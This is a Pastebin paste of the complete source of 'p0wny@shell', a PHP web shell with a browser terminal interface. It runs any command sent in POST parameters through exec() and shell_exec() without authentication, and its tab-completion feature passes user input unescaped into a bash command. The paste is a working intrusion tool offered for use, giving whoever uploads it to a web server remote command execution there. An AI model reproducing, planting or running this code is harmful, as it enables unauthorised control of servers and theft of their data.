Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- function featureShell($cmd, $cwd) {
- $stdout = array();
- if (preg_match("/^\s*cd\s*$/", $cmd)) {
- // pass
- } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
- chdir($cwd);
- preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
- chdir($match[1]);
- } else {
- chdir($cwd);
- exec($cmd, $stdout);
- }
- return array(
- "stdout" => $stdout,
- "cwd" => getcwd()
- );
- }
- function featurePwd() {
- return array("cwd" => getcwd());
- }
- function featureHint($fileName, $cwd, $type) {
- chdir($cwd);
- if ($type == 'cmd') {
- $cmd = "compgen -c $fileName";
- } else {
- $cmd = "compgen -f $fileName";
- }
- $cmd = "/bin/bash -c \"$cmd\"";
- $files = explode("\n", shell_exec($cmd));
- return array(
- 'files' => $files,
- );
- }
- if (isset($_GET["feature"])) {
- $response = NULL;
- switch ($_GET["feature"]) {
- case "shell":
- $cmd = $_POST['cmd'];
- if (!preg_match('/2>/', $cmd)) {
- $cmd .= ' 2>&1';
- }
- $response = featureShell($cmd, $_POST["cwd"]);
- break;
- case "pwd":
- $response = featurePwd();
- break;
- case "hint":
- $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
- }
- header("Content-Type: application/json");
- echo json_encode($response);
- die();
- }
- ?><!DOCTYPE html>
- <html>
- <head>
- <meta charset="UTF-8" />
- <title>p0wny@shell:~#</title>
- <meta name="viewport" content="width=device-width, initial-scale=1.0" />
- <style>
- html, body {
- margin: 0;
- padding: 0;
- background: #333;
- color: #eee;
- font-family: monospace;
- }
- #shell {
- background: #222;
- max-width: 800px;
- margin: 50px auto 0 auto;
- box-shadow: 0 0 5px rgba(0, 0, 0, .3);
- font-size: 10pt;
- display: flex;
- flex-direction: column;
- align-items: stretch;
- }
- #shell-content {
- height: 500px;
- overflow: auto;
- padding: 5px;
- white-space: pre-wrap;
- flex-grow: 1;
- }
- #shell-logo {
- font-weight: bold;
- color: #FF4180;
- text-align: center;
- }
- @media (max-width: 991px) {
- #shell-logo {
- display: none;
- }
- html, body, #shell {
- height: 100%;
- width: 100%;
- max-width: none;
- }
- #shell {
- margin-top: 0;
- }
- }
- @media (max-width: 767px) {
- #shell-input {
- flex-direction: column;
- }
- }
- .shell-prompt {
- font-weight: bold;
- color: #75DF0B;
- }
- .shell-prompt > span {
- color: #1BC9E7;
- }
- #shell-input {
- display: flex;
- box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
- border-top: rgba(255, 255, 255, .05) solid 1px;
- }
- #shell-input > label {
- flex-grow: 0;
- display: block;
- padding: 0 5px;
- height: 30px;
- line-height: 30px;
- }
- #shell-input #shell-cmd {
- height: 30px;
- line-height: 30px;
- border: none;
- background: transparent;
- color: #eee;
- font-family: monospace;
- font-size: 10pt;
- width: 100%;
- align-self: center;
- }
- #shell-input div {
- flex-grow: 1;
- align-items: stretch;
- }
- #shell-input input {
- outline: none;
- }
- </style>
- <script>
- var CWD = null;
- var commandHistory = [];
- var historyPosition = 0;
- var eShellCmdInput = null;
- var eShellContent = null;
- function _insertCommand(command) {
- eShellContent.innerHTML += "\n\n";
- eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
- eShellContent.innerHTML += escapeHtml(command);
- eShellContent.innerHTML += "\n";
- eShellContent.scrollTop = eShellContent.scrollHeight;
- }
- function _insertStdout(stdout) {
- eShellContent.innerHTML += escapeHtml(stdout);
- eShellContent.scrollTop = eShellContent.scrollHeight;
- }
- function featureShell(command) {
- _insertCommand(command);
- makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function(response) {
- _insertStdout(response.stdout.join("\n"));
- updateCwd(response.cwd);
- });
- }
- function featureHint() {
- if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete
- function _requestCallback(data) {
- if (data.files.length <= 1) return; // no completion
- if (data.files.length === 2) {
- if (type === 'cmd') {
- eShellCmdInput.value = data.files[0];
- } else {
- var currentValue = eShellCmdInput.value;
- eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
- }
- } else {
- _insertCommand(eShellCmdInput.value);
- _insertStdout(data.files.join("\n"));
- }
- }
- var currentCmd = eShellCmdInput.value.split(" ");
- var type = (currentCmd.length === 1) ? "cmd" : "file";
- var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
- makeRequest(
- "?feature=hint",
- {
- filename: fileName,
- cwd: CWD,
- type: type
- },
- _requestCallback
- );
- }
- function genPrompt(cwd) {
- cwd = cwd || "~";
- var shortCwd = cwd;
- if (cwd.split("/").length > 3) {
- var splittedCwd = cwd.split("/");
- shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
- }
- return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
- }
- function updateCwd(cwd) {
- if (cwd) {
- CWD = cwd;
- _updatePrompt();
- return;
- }
- makeRequest("?feature=pwd", {}, function(response) {
- CWD = response.cwd;
- _updatePrompt();
- });
- }
- function escapeHtml(string) {
- return string
- .replace(/&/g, "&")
- .replace(/</g, "<")
- .replace(/>/g, ">");
- }
- function _updatePrompt() {
- var eShellPrompt = document.getElementById("shell-prompt");
- eShellPrompt.innerHTML = genPrompt(CWD);
- }
- function _onShellCmdKeyDown(event) {
- switch (event.key) {
- case "Enter":
- featureShell(eShellCmdInput.value);
- insertToHistory(eShellCmdInput.value);
- eShellCmdInput.value = "";
- break;
- case "ArrowUp":
- if (historyPosition > 0) {
- historyPosition--;
- eShellCmdInput.blur();
- eShellCmdInput.focus();
- eShellCmdInput.value = commandHistory[historyPosition];
- }
- break;
- case "ArrowDown":
- if (historyPosition >= commandHistory.length) {
- break;
- }
- historyPosition++;
- if (historyPosition === commandHistory.length) {
- eShellCmdInput.value = "";
- } else {
- eShellCmdInput.blur();
- eShellCmdInput.focus();
- eShellCmdInput.value = commandHistory[historyPosition];
- }
- break;
- case 'Tab':
- event.preventDefault();
- featureHint();
- break;
- }
- }
- function insertToHistory(cmd) {
- commandHistory.push(cmd);
- historyPosition = commandHistory.length;
- }
- function makeRequest(url, params, callback) {
- function getQueryString() {
- var a = [];
- for (var key in params) {
- if (params.hasOwnProperty(key)) {
- a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
- }
- }
- return a.join("&");
- }
- var xhr = new XMLHttpRequest();
- xhr.open("POST", url, true);
- xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
- xhr.onreadystatechange = function() {
- if (xhr.readyState === 4 && xhr.status === 200) {
- try {
- var responseJson = JSON.parse(xhr.responseText);
- callback(responseJson);
- } catch (error) {
- alert("Error while parsing response: " + error);
- }
- }
- };
- xhr.send(getQueryString());
- }
- window.onload = function() {
- eShellCmdInput = document.getElementById("shell-cmd");
- eShellContent = document.getElementById("shell-content");
- updateCwd();
- eShellCmdInput.focus();
- };
- </script>
- </head>
- <body>
- <div id="shell">
- <pre id="shell-content">
- <div id="shell-logo">
- ___ ____ _ _ _ _ _ <span></span>
- _ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ <span></span>
- | '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _|<span></span>
- | |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|<span></span>
- | .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| <span></span>
- |_| |___/ \____/ <span></span>
- </div>
- </pre>
- <div id="shell-input">
- <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
- <div>
- <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
- </div>
- </div>
- </div>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment